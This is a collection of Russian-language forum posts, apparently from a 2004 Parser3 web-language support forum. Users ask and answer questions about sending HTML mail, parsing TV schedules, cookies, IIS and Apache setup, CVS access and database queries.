"27013","Вот текст документа\
[code]\
@main[]\
\
^mail:send[ \
      $.from[тут адрес] \
      $.to[тут адрес] \
      $.subject[тут титл] \
      $.html{\
      \
      ^накладная[]\
      \
      }]\
\
\
$response:refresh[ \
   $.value[0] \
   $.url[тут адрес] \
] \
\
\
\
@накладная[]\
\
<html>\
<head>\
<title></title>\
\
<style type=\"text/css\">\
\
.bodytext	{FONT: 11px/13px Verdana, Arial, Helvetica, sans-serif; COLOR: #333; TEXT-DECORATION: none}\
.title	{FONT: bold 18px Verdana, Arial, Helvetica, sans-serif; COLOR: #000; TEXT-DECORATION: none}\
\
</style>\
</head>\
<body>\
\
тут тело\
\
</body>\
</html>\
\
[/code]\
\
Документ отправляется, но вместо Style приходит <CLEANED_TAG=text/css>далее все как написано в стиле и закрывается </style>. То есть пропадает первый Style"
"27014","Извините, когда писал заголовок того сообщения, в спешке нажал на Enter.\
\
Что вам конкретно нужно написать?"
"27015","№1 - мне самому не нравится, когда меня так отсылат, но.... Воспользуйтесь поиском по форуму.\
№2 - попробуйте использовать ^memory:compact[]\
№3 - есть вариант с алиасами в сендмэйле, но это уже найдете в форуме"
"27016","CLASS_PATH правда не определён, но в вашем случае это не критично, всё должно работать.\
\
Если всё-таки не работает, напишите ещё раз, что вы делаете (код), и что получается (ошибка).\
Ну и перед этим желательно поискать эту ошибку по форуму и убедиться, что ваша проблема достаточно уникальна для её рассмотрения.  ;)\
\
[b]Update:[/b] положите ваш _test.html в актуальную папку, чтобы он стал доступен нам по адресу wap.farecla.ru/_test.html, ибо тест по предложенной вами ссылке может не отражать реальное положение вещей."
"27017","Да, согласен.\
Буду пытаться.\
Спасибо!"
"27018","в смысле в обоих случаях \"content-length: 1206\", если это должны быть хедеры разных по содержанию страниц - совпадение довольно  странное..."
"27019","в лога я не вижу никакого криминала.\
согласно логам - вы логинитесь. иногда ошибаетесь с набором пароля (не часто). может ваш броузер все принудительно кеширует по вашему желанию?\
\
в общем описывайте все. дальнейшие обсуждения этого - почтой."
"27020","Вы передали в форму файл, следовательно в $form:photo у вас будет объект класса файл.\
Чтобы не таскать его все время вы его сохраняете, и дальше уже передаете только имя и путь по которому сохранили.\
\
P.S. Да и еще у тега input=\"file\" нет атрибута value (комментарий Миши в.3)"
"27021","вопрос уже подробно обсуждался"
"27022","С чего это он вычищает тэги? Антиспаммерские настройки?\
Выясняйте тогда у провайдера, что такого там понакрутили."
"27023","Столкнулся с проблемой разбора программы телепередач.\
\
Имею следующую исходную программу:\
\
[color=\"red\"]01.03.2004[/color]\
8.00, 9.00, 10.00 ЗАРЯДка для страны.\
8.15, 9.15 Горячая семерка.\
8.40, 9.40 \"Ракетная мощь\". М/с.\
8.55, 9.55 Интернет-тайм.\
10.15, 12.30, 0.30, 7.30 \"220 вольт\". \
10.30, 16.00, 7.00 Диалоги о рыбалке.\
11.15, 17.00 Физкульт.\
11.30, 17.15 \"Гонщик по имени Скорость\". М/с.\
12.15, 13.45, 15.30 Музыкальный трек.\
12.45, 15.45, 17.45, 19.45, 21.45, 0.45 Новости 7.\
13.15 \"Жиллетт-спорт\".\
14.15 Футбольный вестник.\
18.00 Чемпионат Испании по футболу.\
20.00, 3.00 История российского футбола. Год 1992-й.\
20.45, 4.00 \"Футбол Англии\".\
22.00 Мототриал. Чемпионат мира.\
23.00 История профессионального бокса. \
23.30 \"Его Величество Тренер\". В. Ростороцкий.\
1.00 Профессиональный кикбоксинг. \
2.00 Русское поле \"Спартака\".\
2.30 Земля Конюхова.\
5.00 Чемпионат Англии по футболу.\
[color=\"red\"]02.03.2004[/color]\
8.00, 9.00, 10.00 ЗАРЯДка для страны.\
8.15, 9.15 Горячая семерка.\
8.40, 9.40 \"Ракетная мощь\". М/с.\
8.55, 9.55 Интернет-тайм.\
10.15, 12.30, 0.30, 7.30 \"220 вольт\". \
10.30, 16.00, 7.00 Рыболов.\
11.15, 17.00 Физкульт.\
11.30, 17.15 \"Гонщик по имени Скорость\". М/с.\
12.15, 13.45, 15.30 Музыкальный трек.\
12.45, 15.45, 17.45, 21.45, 0.45, 3.00 Новости 7.\
13.15 Все о гольфе.\
14.15 \"Футбол Англии\".\
18.00 У-шу саньда. Международная матчевая встреча профессионалов. Россия - Казахстан.\
19.00 Баскетбол. Евролига ФИБА (женщины). 1/4 финала. УГМК (Екатеринбург) - \"Гамбринус\" (Брно, Чехия).\
20.45, 4.00 \"Футбол Испании\".\
22.00, 1.00, 4.55 Баскетбол. Евролига ФИБА (мужчины). 1/4 финала.\
0.00 \"Открытый корт\".\
3.15 История российского футбола. Год 1993-й.\
\
В этой программе передачи которые транслируются после 00.00 по идее должны относиться к следующему дню, а они относятся к текущему.\
Если занести все записи в базу как есть, а потом отсортировать по времени, то передачи после полуночи будут всегда стоять в начале списка. \
\
Следовательно в поле дата для передач после 23.59 нужно указывать дату следующего дня.\
\
Вопрос: как это сделать?\
\
Дополнение: как разобрать строку и получить отдельно время, отдельно название передачи или разбить строку со временем через запятую, объяснять не надо - это я уже сделал."
"27025","Я на своем сайте сделал так: в базе передачи хранятся как положено (реальное время и дата), а на сайте учитываются все записи до 4 часов следующего дня.\
\
Скажем, 03:00 в субботу (по реальному времени) относится к ленте передач к пятнице.\
\
Я думаю, это наиболее верный вариант. Обычные газеты так и делают.\
Единственное, время скорректировать в соответствии с данным ТВ."
"27026","у вас проблемы не с wap'ом а с subdomain'ом, Парсер не может найти ваши файлы с кодировками по указанному(неуказанному?) вами пути."
"27027","Если у тега input=\"file\" нет атрибута value, то как передать в форму файл или хотябы ссылку на этот файл?"
"27028","немного иначе назвал"
"27029","Искал до написания сообщения -- не нашел, поискал после вашего сообщения -- нашел, хотя задачу свою так и не решил.\
\
А почему бы не внести такую возможность ( ^$var:[] ) в синтаксис языка?"
"27030","если коротко: это запутывает код.\
\
подход с фабрикой хотя бы немножко его проясняет.\
\
если хотите, давайте обсудим на конкретном примере (вашем)."
"27031","и никаких %uXXXX, подожду пока добавлять."
"27032","сервер на самом деле возвращает первый раз старую (в смысле, ту же, что до поста) страницу? Хм."
"27033","когда я телнетом делаю пост, то моему коду некуда записать куку, вот он и отдает то, что было до поста. авторизация ведь не прошла"
"27034","то вообще какая-то шняга вылазит. Которую никак не могу понять кто отдает:\
[code]\
XML parsing failed: junk after document element (Line: 45, Character: 0)\
[/code]\
Это дело вылазит в браузер. Появляется какая-то рамка в которой html сорс и выделен элемент <br />"
"27035","то все равно приходит тотже Content-length (1206), что и до поста. Это свидетельствует о том, что либо парсер (или конкретно мой код), либо апач отдает ту же страницу? Так?"
"27036","ваш документ не является \"well-formed XML\", браузеру это не нравится. Попробуйте сделать view-source того что пришло, если браузер позволяет просматривать \"исходники\" XML-документов.\
\
или лучше попробуйте другой Content-Type, text/xhtml например... ;]"
"27037","В файле auto.p написано\
[code]\
@unhandled_exception[exception;stack]\
\
^if($exception.file eq \"user-request\"){\
\
^if($exception.type eq file.missing){$response:location[http://www.сайт.ru/error/index.html]}\
\
}{\
\
}\
[/code]\
в версии 3.007 работало, а на 3.1.1 не работает. В чем может быть дело?"
"27039","в авто п прописано:\
@auto[]\
$connect_string[mysql://ИМЯ_админ:ПАРОЛЬ@localhost/ИМЯ_БАЗЫ] \
\
результат:\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@mynoni.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
вроде правильно написал все кто подскажет?"
"27042","Рад приветствовать всех! :)))\
Пробую настроить рассылку новостей с сайта. И почему-то не получается вставить в тело письма данные, извлекаемые из БД. То есть итогом приведенного ниже кода оказывается успешно отправленное письмо, в котором вместо нужных новостей стоит фраза \"Новостей не найдено\", которая показывает, что получить данные из БД не удалось.\
Этот же самый код по извлечению данных из БД успешно работает, если его вставить вне метода mail:send\
Пожалуйста, подскажите, что я упустил. :)))\
Заранее всем огромное спасибо! :)))\
\
^connect[$connect_string]{\
^mail:send[ \
    $.from[subscribe <subscribe@site.ru>] \
    $.to[vasya <vasya@pupkin.ru>] \
    $.subject[news]\
    $.html{\
      $news[^table::sql{select \
         id, date, header, summary  \
      from \
         news  \
      order by \
         date DESC\
      }]\
   ^if($news){ \
      ^news.menu{ \
	 <a href=\"/news/?id=$news.id\">$news.header</a><br>\
	 [^mysql2date[$news.date;yes]]\
	 $summary[^news.summary.match[\\n+][g]{<br><br>}] \
         ^untaint{$summary}\
      }[<br>] \
   }{ \
      Новостей не найдено.\
   }\
}\
]\
}"
"27043","Никто не посоветует, что правильно: писать мета теги в auto.p, или определять их на каждой странице? Я имею ввиду ключевые слова для поисковых сайтов."
"27044","сначала узнаём кол-во строк с помощью count . Создаём в цикле нужное кол-во элементов а потом при помощи menu и count всё это успешно забиваем по переменным.....а я то думал где меня так клинит?..."
"27046","попробуйте простой эксперимент - где нибудь на видном месте вашей страницы поместите такое: [code]<h2>= ^math:random(1000) =</h2>[/code]\
если число при отправке формы изменится - определённо что-то с вашим кодом не в порядке. Если не изменится - где-то кто-то это дело кеширует, скорее всего Апач."
"27048","The RemoveHandler directive removes any handler associations for files with the given extensions. This allows .htaccess files in subdirectories to undo any associations inherited from parent directories or the server config files. An example of its use might be:\
\
/foo/.htaccess: \
AddHandler server-parsed .html \
/foo/bar/.htaccess: \
RemoveHandler .html \
This has the effect of returning .html files in the /foo/bar directory to being treated as normal files, rather than as candidates for parsing (see the mod_include module).\
\
http://httpd.apache.org/docs/mod/mod_mime.html#removehandler"
"27050","Некоторые поисковики игнорируют и заголовки и метатеги, а ориентируются непосредственно на контент. \
У меня есть масса сайтов в которых метатеги не прописаны, а находятся в поисковиках гораздо раньше, чем те в которых это указано.\
\
Для пущей важности лучше прописать на каждую страницу и свой тайтл и метатеги. Ведь возможно есть тот поисковик который по достоинству это оценит. :-)"
"27051","Для интереса добавил def - не помогло.\
Но, по логике, и не нужен он - конструкция без него вполне корректная, и вне метода mail:send работает без проблем.\
Поэтому, по-прежнему, прошу помочь советом! :)))"
"27052","Есть такой код:\
@boma[]\
...\
$r[Cnhjrf]\
...\
\
@boadd[] \
<br>\
И здесь хочется получть значение $r\
А как не допру. Всяко попробовал,\
не идет."
"27053","Пробовал искать бесплатный хостинг, но так и не нашел что б все в одном, пришлось бы собирать сайт из кусочков - место на одном, скрипты на другом, домен в третьем...\
А так купил недорогой и радуюсь.\
Если интересует где - могу здесь написать."
"27056","уже в 3.0.8, по-моему, не было.\
см. changelog [http://cvsview.parser.ru]"
"27059","что лучше, иметь россыпью сто рублей мелочью,\
или в кошельке?\
\
сравните:\
[code]\
#вы развели зоопарк:\
$sdfsdf[xckjvgjkdfg]\
$dghjkd[fkxgjjdfhg]\
$dflgjrty[dfljte4r6]\
[/code]\
\
[code]\
#вам предлагает миша:\
$штука[\
   $.элемент1[значение1]\
   $.элемент2[значение2]\
   $.элемент3[значение3]\
]\
[/code]\
\
вы это можете удобно передать кому-то:\
[code]\
^вызов[$штука]\
[/code]\
\
а с вашим зоопарком вы как делаете, так что-ли?\
[code]\
^jsdfsdklfjsdf[]\
...\
@jsdfsdklfjsdf[]\
$sldkjgfekrntkjt\
[/code]"
"27060","если буквально, как вы пишете, и всё в одном файле, то [code]$r[/code]\
\
важно: если сущности разные, использование глобальных переменных — [b]зло[/b], передавайте параметром.\
\
если сущность одна, и достойная, выделите её в пользовательский класс."
"27061","Зайти в раздел \"хостинги\" этого сайта. Если там нет вашего хостера - можно написать про него по образу и подобию имеющегося и прислать мне или Мише - с большой вероятностью мы разместим этот текст, дабы могли прочитать все. По форуму все равно искать никто не будет ;-)"
"27062","в конструктор загужал таблицу сессий, а потом при логине работал только с базой, поправить уже загруженную таблицу забыл. поэтому страница обновлялась только при следующем заходе. \
Огромное спасибо всем ответившим. Прошу прощения =)"
"27063","Попросил бы 350mb.ru обозначить как бывший и назвать нынешним именем: ЗАО \"Арбатек\"."
"27064","Предварительно разбил программу по дням в отдельные временные файлики.\
Разобрал сложные строки с множеством времен, разбив на время и название.\
А дальше прошелся от начальной строки и до последней и если попадалось время меньшее предыдущего добавлял еще один день.\
Затем записал все в базу и кильнул файлики.\
\
У этого метода есть только один минус. Если в строке время будет стоять не по порядку, то будет много проблем."
"27065","Чего нового появилось в 3.1.2?(кроме юникстайма)\
Я понимаю, что вопрос звучит как дурацкий, но вот он у  меня возник и спросить больше негде. \
Предвидя некоторые ответы :) - \
я не програмлю на си и доступа к СИВИЭС получить из-за кривой прокси не могу."
"27066","- Теперь можно создавать объект date из unixtimestamp\
- появился string.trim\
- Появился новый класс hashfile\
- При XML трансформе и методе вывода XML теперь в атрибутах не юникод подстановки вместо русских букв, а нормальные буквы.\
- поправлены баги\
- в классе hash произошли приятные изменения (подробно писать лень)\
- в классе image произошли приятные изменения (подробно писать лень)\
\
Другого пока не нашел :)"
"27067","это мой больной мозоль в Парсере."
"27068","Помогите пожалуйста осилить следующее:\
\
1. Имеем БД с двумя таблицами users_table (абоненты), goods_table (товары).\
2. Делаю вывод данных из таблицы good_table и получаю следующее:\
Товар	Стоимость	Инфа	Фирма\
aaa	111	xxx\
3. Нужно добится, чтобы в столбце \"Фирма\" название бралось из таблицы users_table.\
Намекните, что использовать для реализации этой схемы?\
\
Что-то типа parent_id = id from users_table\
\
Спасибо."
"27069","это все что я могу сказать :)"
"27070","можно попробовать посмотреть здесь:\
http://cvsview.parser.ru/file.html?module=parser3&dir=&name=operators.txt"
"27071","Согласен насчет платного хостинга. Сами сидим на ValueHost, не жалуемся. Работает стабильно, если что-то вдруг падает, служба поддержки приводит сайт в чувство в течение пары минут. Парсер работает. Что еще нужно для счастья?"
"27074","я думал, что когда что-то подозревают в \"измене\" делают небольшой тестовый файи и проверяют, и думал что в примере с кешированием был написан небольшой файл (почти copy/paste кода Eugene S.)"
"27075","с её помощью можно реализовать убойные вещи, скажем \"драйвер для печати на GIF'е шрифтами с поддержкой antialiasing'а\" =)\
\
Всё остальное тоже супер, спасибо PAF'у, и всем кто способствовал ему в этом нелёгком деле."
"27076","Не совсе понял как это реализовать. Если можно, алгоритм."
"27077","Помогите с проблемкой: после установки Parser3.1.1 (с помощью установщика) на IIS6.0 (Win2003 Serv), как IIS ISAPI без XML в браузере на запрос http://localhost отображается страница с текстом \"The page cannot be found\". У сайта настроена обработка файлов .html парсером ,в корне сайта есть файл index.html и в настройках Documents\\Default content page зарегистрирован файл index.html.\
\
P.S.\
Пробовал ставить и CGI без XML тоже не работает. И сайт перегружал - тоже не работает.\
Но сам parser3.exe работает: выдает при запуске создателей и т.д."
"27079","в c:\\winnt\
\
[если вам лень вникать, как сделать их доступными]"
"27080","ведь было так похоже, что это из за кэша... ;)\
а так, конечно, ступил, да."
"27081","Зайдите в IIS manager и в Web Service Extensions разрешите CGI(или ISAPI) extensions"
"27082","текущий делает дело, но всегда хочется лучшего.\
хочется хорошего cvsview, благо скрипты все написаны и надо это готовое прикрутить.\
\
т.е. что-нибудь вроде\
http://cvs.gnome.org/bonsai/cvsblame.cgi?file=libxml2/encoding.c&rev=&root=/cvs/gnome\
\
предлагаю сказать мне адрес ftp сервера и шепнуть пароль, куда я буду синхронизировать (раз в час?) cvs репозитарий."
"27084","это без win32 каталога, где для удобства всякое бинарное выкладываю. и который в вебе не очень нужен."
"27085","все равно не работает"
"27086","то вы просто что-то неправильно настраиваете в IIS.\
\
проверьте права пользователя, от имени которого запускается там parser.\
\
\
[про dll я писал в применении к isapi, забудьте пока, добейтесь работающей cgi версии для начала]"
"27087","а как это проверить? (я просто не силен в правах)"
"27088","Если вы подскажете как потом эти переменные(в данном случае hash) использовать в одном Sql запросе.(т.е. один selеct или delete и.т.д )(так любопытство) Но мне в принципе их упорядоченность не нужна...\
В начале задачи я об этом не говорил , чтобы читабельнее было."
"27089","Perl, subdomain и всё? Или нужно, чтобы это был не сайт на вирт. хостинге а полноценная машина на colocation?"
"27090","прикрутил на свой сайт: http://www.mynoni.ru/me/\
простой календарь с 4 урока и чуток изменил дизайн... (скажу сразу не совсем разобрался с БД и потому он пока не работает) но вопрос не на эту тему...\
\
Как мне к этому варианту календаря добавить прокрутку по месяцам и по годам?\
\
поискал на всех сайтах по парсеру, предлагется использование XML, а как без него? как в простой код 4 урока добавить эту возможность?\
\
С уважением."
"27091","он знает ответы и на эти вопросы."
"27093","На caspy.net сделал через переменные передаваемые странице"
"27094","как ты это сделал?"
"27095","а именно: выбираешь 2003 год. В нем выбираешь другой день, показывает нужный день, но только в 2004-том году. По видимому, в ссылках не передается год.\
Другой почти глюк — плохо использовать выпадающий список как элемент инициирующий действие. Кроме того, я не могу выбрать, например, январь 2003 года сразу. После каждого выбора страница обновляется. Выбрал год, и жду, пока обновиться, чтобы выбрать другой месяц. Скорее лучше добавить кнопку — «Показать», а не делать обновление на изменение значение выбора в списках.\
\
А так, вы меня спасли. Меня уже несколько дней мучает совесть, что я ни как не собирусь ответить Роману на письмо и написать, как же можно передавать еще и год в параметрах. У вас можно это подсмотреть, а уже сделать должно быть просто.\
\
Спасибо!"
"27098","http://asha-city.ru/news/\
Если будет недостаточно, посмотрю может класс выложу"
"27099","Мне тоже не нужен был XML, поэтому я просто взял \"календарь с XML\" и слегка его подправил, могу прислать если хочешь. Результат можно посмотреть на http://ask-bryansk.da.ru"
"27101","Можно ли в одном файле совмещать Парсер и РНР? Если да, то как ето сделать проще всего?"
"27102","для начала о терминах :) \"Шрифт с поддержкой antialiasing'а\" - имеется ввиду простой пиксельный файл шрифта, но не двухцветный а скажем в градациях серого, для \"имитации прозрачности\" (как маска прозрачности в фотошопе). Печатать таким шрифтом (здесь и далее - на GIF'е) можно было только на фоне определённого цвета (в данном случае - на белом).\
 \
Теперь же мы можем (в простейшем случае) узнать на каком фоне нам предстоит печатать, и с помощью image.replace (например) заменить цвета в файле шрифта на более подходящие. На пёстром фоне труднее - придётся отказаться от вывода такого шрифта стандартным методом image.text и написать собственный метод (драйвер типа ;), который бы выводил надпись попиксельно, постоянно сверяясь с фоном и корректируя цвета. Правда это наверняка будет очень расточительно на ресурсы и совершенно не в духе Парсера.\
\
Алгоритма \"цветокоррекции\" для данного способа я пока не имею, но в природе он наверняка существует  :)"
"27103","Ведь всего три дня назад вопрос такой был :)\
\
http://www.parser.ru/forum/?id=26968"
"27104","если кто не знал: [url=\"http://www.pspad.com/index_en.html\"]pspad[/url].\
\
Множество примочек и полезностей. Только вот возможности подсветки мне не очень понравились."
"27105","Здравствуйте, есть проблема.\
В httpd.conf:\
<VirtualHost *>\
 .....\
 <IfModule mod_alias.c>\
  ScriptAlias /cgi-bin/ \"/WWW/.../cgi-bin/\"\
  <Directory \"/WWW/.../cgi-bin\">\
   AllowOverride None\
   Options None\
   Order allow,deny\
   Allow from all\
  </Directory>\
 </IfModule>\
\
 <IfModule mod_mime.c>\
  AddHandler cgi-script .cgi\
 </IfModule>\
\
 AddHandler parsed-html html\
 Action parsed-html /cgi-script/parser3.cgi\
 .....\
</VirtualHost>\
\
При запуске httpd выдает следующее:\
Sintax error on line ...\
Invalid command 'Action', perhaps mis-spelled or defined by \
a module not included in the server configuration.\
\
При:  AddHandler parsed-html .html\
      Format: Action parsed-html /cgi-script/parser3.cgi\
Invalid command 'Format:'...\
\
Если я проавильно понял, это значит нужно делать модуль из parser3 и в httpd.conf прописать его AddModule или LoadModule.\
Или можно как-то обойти.\
Заранее спасибо."
"27106","Произойдут ли ошибки или как поведет себя сервер при обращении к БД к одним и тем же данным 2-х и более пользователей одновременно. Если да, то что нужно сделать чтобы избежать этого."
"27107","Нашел здесь: http://www.parser.ru/forum/?id=16288 \
Очень хотелось бы, чтобы метод переопределял некую переменную только в нужном вызывающем методе (как переопределить понятно - $caller.переменная[]).\
Ответ все еще - никак?"
"27108","я еще тут попроверял cgi версию, так она на пустой файл index.html выдает на экран содержимое  странички с Unhandled Exception (при запуске из командной строки), т.е. даже сам по себе parser не работет правильно. А приминительно IIS так получается что текст странички генерируется parser'ом нормально, но почемуто не передается internet explorer'у, т.е. поэтому он и выдает сообщение The page cannot be found."
"27110","- Internal web browser with Apache web server support - рулез\
\
но...\
- про koi8 он не слышал\
- у меня он не показал нормально все файлы в UTF-8 (там где нет префикса он не может его определить). перекодировщики подключаются, но хочется работать с UTF как с native. (приколола таблица перекодировки - в морзянку :) )"
"27111","Есть ли где в интернете, в свободном доступе скрипты или шаблоны на pasrer3?"
"27113","секунду-полторы. Что будет на домашнем ноуте с PI-233, боюсь представить.\
\
Но удобный, зараза... Интерфейс малость перегружен, но удобный.."
"27114","Вот например в этом треде\
http://www.parser.ru/forum/?id=23260\
\
если поищите внимательнее может ещё что-то найдёте."
"27116","Узнать можно, работает CVS или нет. \
Набираю cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
На предложение CVS password: даю Enter\
Ответ: failed to open ... no such file or dir"
"27117","Чем Parser лучше других языков?"
"27118","Думаю можно, хотя точно не знаю. Если сервак может обрабатывать PHP-файлы то теоретически можно.\
Воспользуйтесь поиском по форуму."
"27119","Компактностью и простотой."
"27120","Если не секрет, как вы себе это представляете?\
Выполнить PHP и Parser  в одном файле.\
\
Есть такое подозрение что всемогущий поиск в данном случае бессилен."
"27121","[code]\
[paf@rol7] ~>  cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
Logging in to :pserver:anonymous@cvs.parser.ru:2401/parser3project\
CVS password:\
[paf@rol7] ~>\
\
[/code]"
"27122","ещё раз подумайте над алгоритмом, и поймёте, что вам это на самом деле [b]не[/b] нужно.\
\
подумали?\
продолжаете думать, что нужно?\
\
давайте тогда подумаем вместе?"
"27123","но когда парсер будет написан в виде фильтра для 2-го апача, то можно. Но это называется через жопу, поэтому лучше пускай так всё и будет, т.е. фильтр для 2-го апача не нужен :)"
"27124","и понимаю, что без этого вполне можно прожить. Просто попался момент, когда такой возможностью было бы удобно воспользоваться. На сколько это все запутывает я судить не могу. Вам, конечно же,  виднее. Спасибо."
"27125","это вам сейчас так почему-то кажется.\
уверен, подумав, вы решите, что были не правы.\
\
если хотите, подумаем вместе."
"27126","Допустим 2 и более пользователя одновременно пытаются что сохранить таблицу, а потом им надо выдать id сохраненной записи. Достаточно ли испоьзовать last_insert_id()  (из mysql.p? за который спасибо Misha v.3 ) ? Смысл наверно скорее в том, может ли Parser+Apache обрабатывать эти запросы параллельно или же в порядке поступления ? \
PS: Я на всякий случай сохраняю в таблице UUID, а потом сравниваю его с табличным ....."
"27127","там этот момент специально [b]подчеркивается[/b]\
\
кроме того он неоднократно обсуждался в этом форуме, и без проблем может быть найден поиском (есть в десятке последних найденных сообщений).\
\
поэтому я данный тред \"закрываю\""
"27128","^connect[$connect_string]{\
   $newsCount[^int:sql{select count(*) from news}[$.default{0}]]\
   $news[^table::sql{\
     select date, header, body\
       from news\
   ORDER BY `ID` ASC\
   }[$.limit(1) $.offset($newsCount-2)]]\
#пропустили :)\
}\
<h2><b>$news.header</b></h2>^untaint{$news.body}<p><i>$news.date</i>"
"27130","Попробуйте поупражняться на примерах по документации вы сразу все увидете."
"27131","Можно исполнять пхп как внешний скрипт и все тут...;)"
"27132","Это понятно, а где в инете есть ресурсы?\
Искал на яндексе но так ничего достойного не нашел."
"27133","Кто-нибудь сталкивался с алгоритмом вырезания е-мэйлов из текста?\
Как в стандартном написании, так и извращенном (smbd -at- smwr -dot- com , etc.)\
Возможностей написания - куча. Первая рекция - всего не возможно угадать. Всеравно обманут любую систему.\
Но все же..."
"27134","На http://egoroff.spb.ru есть маленько, на http://spearance.ru/parser/, ну и всё, по большому счёту.\
\
Хотя, может и ошибаюсь.."
"27136","посреническая контора, которая боится, что ее работники будут воровать клиентов, а поскольку объемы работ большие, \"человеческая\" премодерация невозможна"
"27137","я писал, код занимал 6 или 7 строчек матчей.\
Но потом я решил задачу одной строчкой реплейза, и двумя строчками создания таблицы замен.\
ps: Я говорю о своей задаче ;)"
"27138","и там просто попросить людей указывать данные о себе в отдельных полях.\
для менеджера эти поля будут доступны,\
для работника -- нет.\
\
если по какой-то причине удобно внутри конторы общаться почтой, можно завести внутри конторы хитрые адреса вроде\
238472737423874@clients.kontora.ru"
"27139","В смысле простоты реализации. \
\
А если в тексте проскользнет емэйл?"
"27141","у людей не будет соблазна писать туда email.\
\
буйство вашей фантазии, как заставить пользователя куда-то вбить email.\
\
а дальше — обычно простые посетители действуют понятным образом.\
вбивать от руки email [b]ещё[/b] раз в какое-то поле формы им будет просто лень.\
\
оставшиеся полпроцента игнорируем."
"27142","Только что потерял полстраницы недонаписанного текста нового сообщения в одном форуме, случайно закрыв окошко браузера - обидно просто жуть.\
\
Вопрос к разбирающимся в JS людям - как сделать так, что если на странице в неком поле textarea с указанным именем изменился с момента загрузки текст и происходит попытка закрыть или перезагрузить окно или уйти с него Back / Forward (но не сделать Submit формы), выдавалось бы окошко-confirm?"
"27144","Например надо сделать сообщение внизу страницы: Время генерации страницы x.xxx секунд , для этого надо сложить utime и stime? или нет? что очень одинаковые цифры получаются..."
"27146","Последняя ссылка битая =(("
"27149","разве что только в качестве выпендрёжа, но не более того."
"27150","это автор лажанулся :)"
"27151","При отключенных куках Парсер их темне менее пишет и читает.(ИЕ)\
[code]\
$cookie:test[textfortest]\
$cookie:test\
# выводит \"textfortest\"\
\
[/code]\
\
\
РНР складывает руки, как впрочем и javascript, а Парсер просто пишет.\
пробовал  ставить чтобы спрашивало  о блокировании куки. Спрашивает, блокирует и ... пишет ... и читает ...\
финт..."
"27152","кука отправляется броузеру вместе со страницей. т.е. определить, записал броузер куку или нет возможно только после перезагрузки страницы (если мы ему её выдали, он её принял и прислал обратно со следующим запросом - значит куки у броузера включены)\
 \
а то, о чем вы говорите - это фича парсера, [url=\"/docs/lang/cookierec.htm\"]упомянутая[/url] в доке."
"27153","Просто, судя по всему, кука , кроме того что сбросться юзеру, помещается во врЕменную переменную, оттуда и читается. \
На следующей странице кука уже не видна, чего и следовало ожидать :)"
"27155","Граждане, а как грамотно использовать mysql'ные функции, аля count, (select count(id) from table)?\
В принципе оно возвращает таблицу типа:\
count(id)\
543\
А как правильно? =)"
"27156","А думал, что всю документацию уже наизусть выучил.. =)"
"27157","Текст в базе русский, кодировка либо koi8-r, либо 1251. Если я указываю $response:charset[UTF-8], вылезает ошибка Input is not proper UTF-8, indicate encoding ! и первое попадание русского слова из базы.\
\
Как можно хранить данные (файлики и текст в базе) в 1251, а выдавать в utf-8?"
"27158","Насколько полезено/безопасно использовать параметр compress=1?"
"27159","http://spearance.ru/parser3/\
Просто у Евгения нет явной ссылки на парсерный раздел. Или я её не заметил"
"27162","или на машине, находящейся очень близко?\
это обычно именно так. \
\
=> не включайте compress.\
\
если на другой машине, и она расположена на некотором удалении, включайте."
"27163","это на вас 1:43 влияет."
"27164","чтобы что-то выдавать в некоей кодировке нужно задавать \
[code]$response:charset[/code]\
. response. response."
"27165","подобную функцию лучше всего было бы сделать на основе PNG, т.е. шрифт сохранить в PNG на прозрачном фоне, и потом его \"накладывать\" на рисунок используя alpha-канал.\
Понимаю, что это не так просто реализовать, но данная реализация не очень понятна - зачем она?\
image.text - несомненно полезная функция, но такое усовершенсование мало что меняет - это полумеры, принципиального отличия от того, что было нет."
"27166","При зхапуске http://www.site.ru/cgi-bin/parser3.cgi\
выдается 500 ошибка\
В лог же пишется только такая фраза:\
[Fri Mar 05 11:28:04 2004] [error] [client xxx.xxx.xxx.xxx] [Fri Mar  5 11:28:04 2004] Parser/3.1.1\
\
Ошибка в парсере или в настройки сервера?"
"27168","выключите, увидите в браузере версию parser.\
это нормально.\
вопрос обсуждался."
"27169","В документации написано:\
\
Определение метода:\
@conf[filespec]\
filespec - полное имя файла, содержащего метод.\
\
Пишем:\
@conf[/home/www/mydomain/cgi-bin/auto.p]\
$confdir[^file:dirname[$filespec]]\
... (и так далее, как в оригинале)\
\
При просмотре тестового файла _test.html получаем сообщение, что\
\
windows-1251 ./charsets/windows-1251.cfg относительный путь. проверка невозможна\
\
То есть, переменная $filespec оказалась пустой. Что-то я не понял?\
\
Спасибо!"
"27170","Если это нормально,\
то почему это сообщение пишется в лог ошибок?"
"27171","[code]\
[Tue Feb 10 17:37:13 2004] [notice] Apache/1.3.14 (Unix) Parser/3.1.2beta configured -- resuming normal operations\
[/code]\
\
вас это не смущает?\
\
что [error], а не [notice], как тут, написано, это мелочь. пожет потом поправлю."
"27172","это имя формального параметра, не надо туда ничего вписывать!\
\
вам [b]придёт[/b] полное имя файла."
"27173","Похоже, поддержка PNG в новой версии Парсера пока не реализована. А если и будет когда-нибудь реализована - не факт что alpha-канал будет поддерживаться. Хотя, скорее всего, будет, ибо кроме него других весомых преимуществ у PNG вроде и не наблюдается.\
\
В общем GIF рулит, рулил и рулить ещё будет. Новая функция это не image.text а другая, которая позволяет узнать или задать цвет пиксела, про нее и говорим. Ну а то, что приведенный мною пример делает всё через ж[color=\"white\"]опу[/color]- это да, но как вы сами заметили, задача эта для GIF'а не самая подходящая, извращаемся как можем..."
"27174","И перепробовал все, что мне казалось правильным, а так же все прочие варианты по методу \"тупого перебора\" ;-)\
\
Что имеем?\
Вариант-1 (Ничего не вписываем):\
@conf[]\
$confdir[^file:dirname[$filespec]]\
#===Результат отрицательный\
\
Вариант-2 (Оставляем как в примере www.parser.ru):\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
#===Результат отрицательный\
\
Вероятно, к \"тупому перебору\" нужно было добавить еще и сообразительного пользователя :) Видимо, я к таковым не отношусь :("
"27175","...спишем это на неустойчивую психику IE.  :)\
\
в любом случае, что-либо более подходящее чем onbeforeunload найти будет трудно. Ещё один минус - поддерживается только в IE, хотя, судя по всему в Mozilla 1.7 уже можно ожидать что-то схожее по функционалу..."
